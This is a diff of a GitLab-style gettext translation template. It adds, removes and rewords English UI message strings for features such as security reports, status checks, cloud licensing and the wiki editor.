@@ -29132,6 +28928,9 @@ msgstr ""
msgid "SecurityReports|Error fetching the vulnerability list. Please check your network connection and try again."
msgstr ""
+msgid "SecurityReports|Error parsing security reports"
+msgstr ""
+
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
@@ -29237,6 +29036,9 @@ msgstr ""
msgid "SecurityReports|Take survey"
msgstr ""
+msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
+msgstr ""
+
msgid "SecurityReports|There was an error adding the comment."
msgstr ""
@@ -29339,9 +29141,6 @@ msgstr ""
msgid "Select Page"
msgstr ""
-msgid "Select Stack"
-msgstr ""
-
msgid "Select a branch"
msgstr ""
@@ -29372,9 +29171,15 @@ msgstr ""
msgid "Select a repository"
msgstr ""
+msgid "Select a role"
+msgstr ""
+
msgid "Select a shared template repository for all projects on this instance."
msgstr ""
+msgid "Select a subgroup to use as a template when creating new projects in the group."
+msgstr ""
+
msgid "Select a template repository"
msgstr ""
@@ -29477,9 +29282,6 @@ msgstr ""
msgid "Select target branch"
msgstr ""
-msgid "Select the custom project template source group."
-msgstr ""
-
msgid "Select timezone"
msgstr ""
@@ -29573,7 +29375,7 @@ msgstr ""
msgid "Send report"
msgstr ""
-msgid "Send usage data"
+msgid "Send service data"
msgstr ""
msgid "Sentry API URL"
@@ -29612,10 +29414,10 @@ msgstr ""
msgid "Serverless platform"
msgstr ""
-msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
+msgid "ServerlessDetails|Configure cluster."
msgstr ""
-msgid "ServerlessDetails|Install Prometheus"
+msgid "ServerlessDetails|Function invocation metrics require the Prometheus cluster integration."
msgstr ""
msgid "ServerlessDetails|Invocation metrics loading or not available at this time."
@@ -29657,9 +29459,6 @@ msgstr ""
msgid "Serverless|In order to start using functions as a service, you must first install Knative on your Kubernetes cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "Serverless|Install Knative"
-msgstr ""
-
msgid "Serverless|Learn more about Serverless"
msgstr ""
@@ -29702,6 +29501,9 @@ msgstr ""
msgid "Service URL"
msgstr ""
+msgid "Service ping is disabled, and cannot be configured through this form."
+msgstr ""
+
msgid "ServiceDesk|Enable Service Desk"
msgstr ""
@@ -29792,6 +29594,9 @@ msgstr ""
msgid "Set requirements for a user to sign-in. Enable mandatory two-factor authentication."
msgstr ""
+msgid "Set size limits for displaying diffs in the browser."
+msgstr ""
+
msgid "Set target branch"
msgstr ""
@@ -29972,9 +29777,6 @@ msgstr ""
msgid "SeverityWidget|There was an error while updating severity."
msgstr ""
-msgid "Shards (%{shards})"
-msgstr ""
-
msgid "Shards to synchronize"
msgstr ""
@@ -29999,6 +29801,9 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
+msgid "Shared runners details"
+msgstr ""
+
msgid "Shared runners help link"
msgstr ""
@@ -30023,9 +29828,6 @@ msgstr ""
msgid "Show all issues."
msgstr ""
-msgid "Show all members"
-msgstr ""
-
msgid "Show all test cases."
msgstr ""
@@ -30053,9 +29855,6 @@ msgstr ""
msgid "Show complete raw log"
msgstr ""
-msgid "Show dependencies"
-msgstr ""
-
msgid "Show details"
msgstr ""
@@ -30089,12 +29888,6 @@ msgstr ""
msgid "Show one file at a time"
msgstr ""
-msgid "Show only direct members"
-msgstr ""
-
-msgid "Show only inherited members"
-msgstr ""
-
msgid "Show parent pages"
msgstr ""
@@ -30141,6 +29934,9 @@ msgstr ""
msgid "Showing all issues"
msgstr ""
+msgid "Showing data for workflow items created in this date range. Date range cannot exceed %{maxDateRange} days."
+msgstr ""
+
msgid "Showing graphs based on events of the last %{timerange} days."
msgstr ""
@@ -30474,9 +30270,6 @@ msgstr ""
msgid "Something went wrong while deleting description changes. Please try again."
msgstr ""
-msgid "Something went wrong while deleting the package."
-msgstr ""
-
msgid "Something went wrong while deleting the source branch. Please try again."
msgstr ""
@@ -30579,6 +30372,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} notifications."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} to-do item."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr ""
@@ -30645,12 +30441,6 @@ msgstr ""
msgid "Sort direction: Descending"
msgstr ""
-msgid "SortOptions|Access level, ascending"
-msgstr ""
-
-msgid "SortOptions|Access level, descending"
-msgstr ""
-
msgid "SortOptions|Blocking"
msgstr ""
@@ -30684,9 +30474,6 @@ msgstr ""
msgid "SortOptions|Last created"
msgstr ""
-msgid "SortOptions|Last joined"
-msgstr ""
-
msgid "SortOptions|Last updated"
msgstr ""
@@ -30729,9 +30516,6 @@ msgstr ""
msgid "SortOptions|Oldest created"
msgstr ""
-msgid "SortOptions|Oldest joined"
-msgstr ""
-
msgid "SortOptions|Oldest last activity"
msgstr ""
@@ -30783,6 +30567,9 @@ msgstr ""
msgid "SortOptions|Start soon"
msgstr ""
+msgid "SortOptions|Title"
+msgstr ""
+
msgid "SortOptions|Type"
msgstr ""
@@ -30801,6 +30588,9 @@ msgstr ""
msgid "Source Branch"
msgstr ""
+msgid "Source Editor instance is required to set up an extension."
+msgstr ""
+
msgid "Source IP"
msgstr ""
@@ -30903,15 +30693,6 @@ msgstr ""
msgid "Stage"
msgstr ""
-msgid "StageName|Build"
-msgstr ""
-
-msgid "StageName|Deploy"
-msgstr ""
-
-msgid "StageName|Test"
-msgstr ""
-
msgid "Standard"
msgstr ""
@@ -31128,12 +30909,18 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
+msgid "StatusCheck|%{pending} pending"
+msgstr ""
+
msgid "StatusCheck|API to check"
msgstr ""
msgid "StatusCheck|Add status check"
msgstr ""
+msgid "StatusCheck|All passed"
+msgstr ""
+
msgid "StatusCheck|An error occurred deleting the %{name} status check."
msgstr ""
@@ -31152,7 +30939,7 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
-msgid "StatusCheck|Invoke an external API as part of the approvals"
+msgid "StatusCheck|Failed to load status checks."
msgstr ""
msgid "StatusCheck|Invoke an external API as part of the pipeline process."
@@ -31182,6 +30969,9 @@ msgstr ""
msgid "StatusCheck|Update status check"
msgstr ""
+msgid "StatusCheck|When this merge request is updated, a call is sent to the following APIs to confirm their status. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -31269,6 +31059,9 @@ msgstr ""
msgid "StorageSize|Unknown"
msgstr ""
+msgid "Strikethrough"
+msgstr ""
+
msgid "Subgroup information"
msgstr ""
@@ -31278,9 +31071,6 @@ msgstr ""
msgid "Subgroup navigation"
msgstr ""
-msgid "Subgroup overview"
-msgstr ""
-
msgid "SubgroupCreationLevel|Allowed to create subgroups"
msgstr ""
@@ -31635,6 +31425,9 @@ msgstr ""
msgid "SuperSonics|Activate"
msgstr ""
+msgid "SuperSonics|Activate cloud license"
+msgstr ""
+
msgid "SuperSonics|Activate subscription"
msgstr ""
@@ -31653,7 +31446,13 @@ msgstr ""
msgid "SuperSonics|Buy subscription"
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Cloud license"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
msgid "SuperSonics|Expires on"
@@ -31725,9 +31524,6 @@ msgstr ""
msgid "SuperSonics|There is a connectivity issue."
msgstr ""
-msgid "SuperSonics|This field is required."
-msgstr ""
-
msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -31740,7 +31536,7 @@ msgstr ""
msgid "SuperSonics|Type"
msgstr ""
-msgid "SuperSonics|Upload a legacy license"
+msgid "SuperSonics|Upload a license file"
msgstr ""
msgid "SuperSonics|Users in subscription"
@@ -31788,7 +31584,7 @@ msgstr ""
msgid "Survey Response"
msgstr ""
-msgid "Switch Branch"
+msgid "Switch branch"
msgstr ""
msgid "Switch branch/tag"
@@ -31803,7 +31599,7 @@ msgstr ""
msgid "Symbolic link"
msgstr ""
-msgid "Sync information"
+msgid "Sync LDAP"
msgstr ""
msgid "Sync now"
@@ -31812,10 +31608,10 @@ msgstr ""
msgid "Synced"
msgstr ""
-msgid "Synchronization disabled"
+msgid "Synchronization settings"
msgstr ""
-msgid "Synchronization settings"
+msgid "Synchronize LDAP"
msgstr ""
msgid "Syncing…"
@@ -32007,6 +31803,9 @@ msgstr ""
msgid "Telephone number"
msgstr ""
+msgid "Tell us your experiences with the new Markdown editor %{linkStart}in this feedback issue%{linkEnd}."
+msgstr ""
+
msgid "Template"
msgstr ""
@@ -32362,7 +32161,7 @@ msgstr ""
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
+msgid "The Compliance Report captures merged changes that violate compliance best practices."
msgstr ""
msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
@@ -32371,6 +32170,9 @@ msgstr ""
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
+msgid "The ID of the application."
+msgstr ""
+
msgid "The Issue Tracker is the place to add things that need to be improved or solved in a project"
msgstr ""
@@ -32380,6 +32182,9 @@ msgstr ""
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr ""
+msgid "The Snowplow cookie domain."
+msgstr ""
+
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -32413,9 +32218,6 @@ msgstr ""
msgid "The character highlighter helps you keep the subject line to %{titleLength} characters and wrap the body at %{bodyLength} so they are readable in git."
msgstr ""
-msgid "The coding stage shows the time from the first commit to creating the merge request. The data will automatically be added here once you create your first merge request."
-msgstr ""
-
msgid "The collection of events added to the data gathered for that stage."
msgstr ""
@@ -32449,7 +32251,7 @@ msgstr ""
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr ""
-msgid "The default CI configuration path for new projects."
+msgid "The default CI/CD configuration file and path for new projects."
msgstr ""
msgid "The dependency list details information about the components used within your project."
@@ -32479,6 +32281,9 @@ msgstr ""
msgid "The errors we encountered were:"
msgstr ""
+msgid "The file containing the export is not available yet; it may still be transferring. Please try again later."
+msgstr ""
+
msgid "The file has been successfully created."
msgstr ""
@@ -32553,6 +32358,9 @@ msgstr ""
msgid "The group_project_ids parameter is only allowed for a group"
msgstr ""
+msgid "The hostname of your Snowplow collector."
+msgstr ""
+
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
@@ -32574,15 +32382,15 @@ msgstr ""
msgid "The invitation was successfully resent."
msgstr ""
-msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
-msgstr ""
-
msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
msgstr ""
msgid "The latest artifacts created by jobs in the most recent successful pipeline will be stored."
msgstr ""
+msgid "The latest pipeline for this merge request did not complete successfully."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -32667,18 +32475,12 @@ msgstr ""
msgid "The password for your GitLab account on %{link_to_gitlab} has successfully been changed."
msgstr ""
-msgid "The phase of the development lifecycle."
-msgstr ""
-
msgid "The pipeline has been deleted"
msgstr ""
msgid "The pipelines schedule runs pipelines in the future, repeatedly, for specific branches or tags. Those scheduled pipelines will inherit limited project access based on their associated user."
msgstr ""
-msgid "The planning stage shows the time from the previous step to pushing your first commit. This time will be added automatically once you push your first commit."
-msgstr ""
-
msgid "The private key to use when a client certificate is provided. This value is encrypted at rest."
msgstr ""
@@ -32742,9 +32544,6 @@ msgstr ""
msgid "The repository must be accessible over %{code_open}http://%{code_close}, %{code_open}https://%{code_close}, %{code_open}ssh://%{code_close} or %{code_open}git://%{code_close}."
msgstr ""
-msgid "The review stage shows the time from creating the merge request to merging it. The data will automatically be added after you merge your first merge request."
-msgstr ""
-
msgid "The same shared runner executes code from multiple projects, unless you configure autoscaling with %{link} set to 1 (which it is on GitLab.com)."
msgstr ""
@@ -32763,10 +32562,10 @@ msgstr ""
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The specified tab is invalid, please select another"
+msgid "The source branch will be deleted"
msgstr ""
-msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
+msgid "The specified tab is invalid, please select another"
msgstr ""
msgid "The start date must be ealier than the end date."
@@ -32781,9 +32580,6 @@ msgstr ""
msgid "The tag name can't be changed for an existing release."
msgstr ""
-msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
-msgstr ""
-
msgid "The time taken by each data entry gathered by that stage."
msgstr ""
@@ -32793,9 +32589,6 @@ msgstr ""
msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
-msgid "The usage ping is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "The user is being deleted."
msgstr ""
@@ -32814,9 +32607,6 @@ msgstr ""
msgid "The username for the Jenkins server."
msgstr ""
-msgid "The value lying at the midpoint of a series of observed values. E.g., between 3, 5, 9, the median is 5. Between 3, 5, 7, 8, the median is (5+7)/2 = 6."
-msgstr ""
-
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
@@ -32958,9 +32748,6 @@ msgstr ""
msgid "There was a problem communicating with your device."
msgstr ""
-msgid "There was a problem dismissing this notification."
-msgstr ""
-
msgid "There was a problem fetching branches."
msgstr ""
@@ -33081,6 +32868,9 @@ msgstr ""
msgid "There was an error loading merge request approval settings."
msgstr ""
+msgid "There was an error loading related feature flags"
+msgstr ""
+
msgid "There was an error loading users activity calendar."
msgstr ""
@@ -33156,6 +32946,9 @@ msgstr ""
msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
+msgid "There was an error while fetching value stream summary data."
+msgstr ""
+
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
msgstr ""
@@ -33189,7 +32982,7 @@ msgstr ""
msgid "Third Party Advisory Link"
msgstr ""
-msgid "Third party offers"
+msgid "Third-party offers"
msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
@@ -33285,6 +33078,9 @@ msgstr ""
msgid "This chart could not be displayed"
msgstr ""
+msgid "This code snippet contains everything reflected in the configuration form. Copy and paste it into %{linkStart}.gitlab-ci.yml%{linkEnd} file and save your changes. Future %{scanType} scans will use these settings."
+msgstr ""
+
msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
@@ -33324,9 +33120,6 @@ msgstr ""
msgid "This diff is collapsed."
msgstr ""
-msgid "This diff was suppressed by a .gitattributes entry."
-msgstr ""
-
msgid "This directory"
msgstr ""
@@ -33411,7 +33204,7 @@ msgstr ""
msgid "This is a merge train pipeline"
msgstr ""
-msgid "This is a private email address %{helpIcon} generated just for you. Anyone who gets ahold of it can create issues or merge requests as if they were you. You should %{resetLinkStart}reset it%{resetLinkEnd} if that ever happens."
+msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
msgid "This is a security log of important events involving your account."
@@ -34150,9 +33943,15 @@ msgstr ""
msgid "To connect an SVN repository, check out %{svn_link}."
msgstr ""
+msgid "To continue, you need to select the link in the confirmation email we sent to verify your email address. If you didn't get our email, select %{strongStart}Resend confirmation email.%{strongEnd}"
+msgstr ""
+
msgid "To define internal users, first enable new users set to external"
msgstr ""
+msgid "To enable Registration Features, make sure \"Enable service ping\" is checked."
+msgstr ""
+
msgid "To ensure no loss of personal content, this account should only be used for matters related to %{group_name}."
msgstr ""
@@ -34237,9 +34036,6 @@ msgstr ""
msgid "To set up this service:"
msgstr ""
-msgid "To simplify the billing process, GitLab will collect user counts in order to prorate charges for user growth throughout the year using a quarterly reconciliation process."
-msgstr ""
-
msgid "To specify the notification level per project of a group you belong to, you need to visit project page and change notification level there."
msgstr ""
@@ -34339,9 +34135,18 @@ msgstr ""
msgid "Token"
msgstr ""
+msgid "Token name"
+msgstr ""
+
msgid "Token valid until revoked"
msgstr ""
+msgid "Tokens|Scopes set the permission levels granted to the token."
+msgstr ""
+
+msgid "Tokens|Select scopes"
+msgstr ""
+
msgid "Tomorrow"
msgstr ""
@@ -34354,6 +34159,9 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
+msgid "TopNav|Go back"
+msgstr ""
+
msgid "Topics (optional)"
msgstr ""
@@ -34402,6 +34210,15 @@ msgstr ""
msgid "Track groups of issues that share a theme, across projects and milestones"
msgstr ""
+msgid "Track important events in your GitLab instance."
+msgstr ""
+
+msgid "Track important events in your group."
+msgstr ""
+
+msgid "Track important events in your project."
+msgstr ""
+
msgid "Track time with quick actions"
msgstr ""
@@ -34881,12 +34698,6 @@ msgstr ""
msgid "Unhappy?"
msgstr ""
-msgid "Uninstall"
-msgstr ""
-
-msgid "Uninstalling"
-msgstr ""
-
msgid "Units|ms"
msgstr ""
@@ -34977,21 +34788,6 @@ msgstr ""
msgid "UnscannedProjects|60 or more days"
msgstr ""
-msgid "UnscannedProjects|Default branch scanning by project"
-msgstr ""
-
-msgid "UnscannedProjects|Out of date"
-msgstr ""
-
-msgid "UnscannedProjects|Project scanning"
-msgstr ""
-
-msgid "UnscannedProjects|Untested"
-msgstr ""
-
-msgid "UnscannedProjects|Your projects are up do date! Nice job!"
-msgstr ""
-
msgid "Unschedule job"
msgstr ""
@@ -35127,9 +34923,6 @@ msgstr ""
msgid "Updated %{updated_at} by %{updated_by}"
msgstr ""
-msgid "Updated to %{linkStart}chart v%{linkEnd}"
-msgstr ""
-
msgid "Updates"
msgstr ""
@@ -35466,9 +35259,15 @@ msgstr ""
msgid "Use .gitlab-ci.yml"
msgstr ""
+msgid "Use GitLab Runner in AWS"
+msgstr ""
+
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
+msgid "Use an AWS CloudFormation Template (CFT) to install and configure GitLab Runner in AWS."
+msgstr ""
+
msgid "Use cURL"
msgstr ""
@@ -35598,6 +35397,9 @@ msgstr ""
msgid "User was successfully updated."
msgstr ""
+msgid "UserAvailability|%{author} %{spanStart}(Busy)%{spanEnd}"
+msgstr ""
+
msgid "UserAvailability|%{author} (Busy)"
msgstr ""
@@ -35895,9 +35697,6 @@ msgstr ""
msgid "Value"
msgstr ""
-msgid "Value Stream"
-msgstr ""
-
msgid "Value Stream Analytics"
msgstr ""
@@ -35907,9 +35706,15 @@ msgstr ""
msgid "Value Stream Analytics gives an overview of how much time it takes to go from idea to production in your project."
msgstr ""
+msgid "Value stream"
+msgstr ""
+
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
+msgid "ValueStreamAnalytics|%{stageCount}+ items"
+msgstr ""
+
msgid "ValueStreamAnalytics|%{value}M"
msgstr ""
@@ -35991,9 +35796,6 @@ msgstr ""
msgid "Verification concurrency limit"
msgstr ""
-msgid "Verification information"
-msgstr ""
-
msgid "Verification status"
msgstr ""
@@ -36079,6 +35881,9 @@ msgstr ""
msgid "View full log"
msgstr ""
+msgid "View group in admin area"
+msgstr ""
+
msgid "View group labels"
msgstr ""
@@ -36097,9 +35902,6 @@ msgstr ""
msgid "View job"
msgstr ""
-msgid "View job dependencies in the pipeline graph!"
-msgstr ""
-
msgid "View job log"
msgstr ""
@@ -36133,6 +35935,9 @@ msgstr ""
msgid "View project"
msgstr ""
+msgid "View project in admin area"
+msgstr ""
+
msgid "View project labels"
msgstr ""
@@ -36202,7 +36007,10 @@ msgstr ""
msgid "Visit settings page"
msgstr ""
-msgid "Visual Studio Code"
+msgid "Visual Studio Code (HTTPS)"
+msgstr ""
+
+msgid "Visual Studio Code (SSH)"
msgstr ""
msgid "VisualReviewApp|%{stepStart}Step 1%{stepEnd}. Copy the following script:"
@@ -36343,7 +36151,7 @@ msgstr ""
msgid "VulnerabilityManagement|invalid issue link or ID"
msgstr ""
-msgid "VulnerabilityStatusTypes|All"
+msgid "VulnerabilityStatusTypes|All statuses"
msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
@@ -36475,6 +36283,9 @@ msgstr ""
msgid "Warning: Displaying this diagram might cause performance issues on this page."
msgstr ""
+msgid "Warning: Synchronizing LDAP removes direct members' access."
+msgstr ""
+
msgid "We are currently unable to fetch data for the pipeline header."
msgstr ""
@@ -36775,6 +36586,15 @@ msgstr ""
msgid "Welcome, %{name}!"
msgstr ""
+msgid "What are group audit events?"
+msgstr ""
+
+msgid "What are instance audit events?"
+msgstr ""
+
+msgid "What are project audit events?"
+msgstr ""
+
msgid "What are you searching for?"
msgstr ""
@@ -36784,6 +36604,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is Auto DevOps?"
+msgstr ""
+
msgid "What is repository mirroring?"
msgstr ""
@@ -36984,7 +36807,7 @@ msgstr ""
msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
msgstr ""
-msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgid "WikiPage|Are you sure you want to switch back to the classic editor?"
msgstr ""
msgid "WikiPage|Cancel"
@@ -37005,6 +36828,9 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Get a richer editing experience"
+msgstr ""
+
msgid "WikiPage|Keep editing"
msgstr ""
@@ -37020,16 +36846,16 @@ msgstr ""
msgid "WikiPage|Save changes"
msgstr ""
-msgid "WikiPage|Switch to old editor"
+msgid "WikiPage|Switch me back to the classic editor."
msgstr ""
-msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
+msgid "WikiPage|Switch to classic editor"
msgstr ""
-msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgid "WikiPage|Switching to the classic editor will discard any changes you've made in the new editor."
msgstr ""
-msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly. Switching back to the classic editor will discard changes you've made in the new editor."
msgstr ""
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
@@ -37044,10 +36870,16 @@ msgstr ""
msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
msgstr ""
+msgid "WikiPage|Try the new visual Markdown editor. Read the %{linkStart}documentation%{linkEnd} to learn what's currently supported."
+msgstr ""
+
+msgid "WikiPage|Try this later"
+msgstr ""
+
msgid "WikiPage|Update %{pageTitle}"
msgstr ""
-msgid "WikiPage|Use new editor"
+msgid "WikiPage|Use the new editor"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -37317,6 +37149,9 @@ msgstr ""
msgid "You can easily contribute to them by requesting to join these groups."
msgstr ""
+msgid "You can enable Registration Features because Service Ping is enabled. To continue using Registration Features in future, you will also need to register with GitLab via a new cloud licensing service."
+msgstr ""
+
msgid "You can enable project access token creation in %{link_start}group settings%{link_end}."
msgstr ""
@@ -37356,9 +37191,6 @@ msgstr ""
msgid "You can now export your security dashboard to a CSV report."
msgstr ""
-msgid "You can now group jobs in the pipeline graph based on which jobs are configured to run first, if you use the %{codeStart}needs:%{codeEnd} keyword to establish job dependencies in your CI/CD pipelines. %{linkStart}Learn how to speed up your pipeline with needs.%{linkEnd}"
-msgstr ""
-
msgid "You can now submit a merge request to get this change into the original branch."
msgstr ""
@@ -37536,21 +37368,18 @@ msgstr ""
msgid "You have imported from this project %{numberOfPreviousImports} times before. Each new import will create duplicate issues."
msgstr ""
-msgid "You have insufficient permissions to create a Todo for this alert"
+msgid "You have insufficient permissions to configure escalation policies for this project"
msgstr ""
-msgid "You have insufficient permissions to create an HTTP integration for this project"
+msgid "You have insufficient permissions to create a Todo for this alert"
msgstr ""
-msgid "You have insufficient permissions to create an escalation policy for this project"
+msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
-msgid "You have insufficient permissions to remove an escalation policy from this project"
-msgstr ""
-
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -37614,9 +37443,6 @@ msgstr ""
msgid "You must provide your current password in order to change it."
msgstr ""
-msgid "You must select a stack for configuring your cloud provider. Learn more about"
-msgstr ""
-
msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
@@ -37776,12 +37602,6 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your Commit Email will be used for web based operations, such as edits and merges."
-msgstr ""
-
-msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
-msgstr ""
-
msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
@@ -37809,18 +37629,12 @@ msgstr ""
msgid "Your Personal Access Token was revoked"
msgstr ""
-msgid "Your Primary Email will be used for avatar detection."
-msgstr ""
-
msgid "Your Projects (default)"
msgstr ""
msgid "Your Projects' Activity"
msgstr ""
-msgid "Your Public Email will be displayed on your public profile."
-msgstr ""
-
msgid "Your SSH key has expired"
msgstr ""
@@ -37833,12 +37647,6 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
-msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
msgid "Your To-Do List"
msgstr ""
@@ -37908,12 +37716,18 @@ msgstr ""
msgid "Your comment will be discarded."
msgstr ""
+msgid "Your commit email is used for web based operations, such as edits and merges."
+msgstr ""
+
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
msgid "Your dashboard has been updated. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
+msgid "Your default notification email is used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
+msgstr ""
+
msgid "Your deployment services will be broken, you will need to manually fix the services after renaming."
msgstr ""
@@ -37998,6 +37812,9 @@ msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
msgstr ""
+msgid "Your primary email is used for avatar detection. You can change it in your %{openingTag}profile settings%{closingTag}."
+msgstr ""
+
msgid "Your profile"
msgstr ""
@@ -38007,6 +37824,9 @@ msgstr ""
msgid "Your projects"
msgstr ""
+msgid "Your public email will be displayed on your public profile."
+msgstr ""
+
msgid "Your request for access could not be processed: %{error_meesage}"
msgstr ""
@@ -38099,6 +37919,9 @@ msgstr ""
msgid "already being used for another group or project %{timebox_name}."
msgstr ""
+msgid "already being used for another iteration within this cadence."
+msgstr ""
+
msgid "already has a \"created\" issue link"
msgstr ""
@@ -38156,12 +37979,21 @@ msgstr ""
msgid "can contain only letters of the Base64 alphabet (RFC4648) with the addition of '@', ':' and '.'"
msgstr ""
+msgid "can contain only lowercase letters, digits, and '_'."
+msgstr ""
+
msgid "can only be changed by a group admin."
msgstr ""
+msgid "can only have one escalation policy"
+msgstr ""
+
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't be the same as the source project"
+msgstr ""
+
msgid "can't include: %{invalid_storages}"
msgstr ""
@@ -38186,6 +38018,9 @@ msgstr ""
msgid "cannot be enabled unless all domains have TLS certificates"
msgstr ""
+msgid "cannot be enabled until a valid credit card is on file"
+msgstr ""
+
msgid "cannot be modified"
msgstr ""
@@ -38204,9 +38039,6 @@ msgstr ""
msgid "cannot merge"
msgstr ""
-msgid "child-pipeline"
-msgstr ""
-
msgid "ciReport|%{degradedNum} degraded"
msgstr ""
@@ -38509,6 +38341,9 @@ msgstr ""
msgid "created"
msgstr ""
+msgid "created %{issuable_created} by %{author}"
+msgstr ""
+
msgid "created %{timeAgoString} by %{email} via %{user}"
msgstr ""
@@ -38593,6 +38428,9 @@ msgstr ""
msgid "encrypted: needs to be a :required, :optional or :migrating!"
msgstr ""
+msgid "ending with MIME type format is not allowed."
+msgstr ""
+
msgid "entries cannot be larger than 255 characters"
msgstr ""
@@ -38672,9 +38510,6 @@ msgid_plural "from %d jobs"
msgstr[0] ""
msgstr[1] ""
-msgid "general, development"
-msgstr ""
-
msgid "group"
msgstr ""
@@ -39060,6 +38895,9 @@ msgstr ""
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
@@ -39096,9 +38934,6 @@ msgstr ""
msgid "mrWidget|Open in Web IDE"
msgstr ""
-msgid "mrWidget|Pipeline blocked. The pipeline for this merge request requires a manual action to proceed"
-msgstr ""
-
msgid "mrWidget|Plain diff"
msgstr ""
@@ -39159,7 +38994,7 @@ msgstr ""
msgid "mrWidget|The source branch has been deleted"
msgstr ""
-msgid "mrWidget|The source branch is %{commitsBehindLinkStart}%{commitsBehind}%{commitsBehindLinkEnd} the target branch"
+msgid "mrWidget|The source branch is %{link} the target branch"
msgstr ""
msgid "mrWidget|The source branch is being deleted"
@@ -39240,7 +39075,10 @@ msgstr ""
